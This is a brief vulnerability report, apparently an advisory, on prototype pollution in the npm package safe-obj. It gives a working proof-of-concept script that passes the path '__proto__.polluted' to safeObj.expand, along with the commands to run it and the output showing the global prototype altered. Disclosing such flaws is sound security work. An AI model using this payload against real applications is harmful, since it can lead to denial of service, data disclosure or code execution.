Description

safe-obj is vulnerable to Prototype Pollution.

Proof of Concept

1. Create the following PoC file:

// poc.js
var safeObj = require("safe-obj")
var obj = {};
console.log("Before: " + {}.polluted)
safeObj.expand(obj, "__proto__.polluted", true)
console.log("After: " + {}.polluted)

2. Execute the following commands in the terminal:

npm i safe-obj # install vulnerable package
node poc.js # run the PoC

3. Check the output:

Before: undefined
After: true

Impact

Prototype Pollution leads to Information Disclosure/DoS/RCE.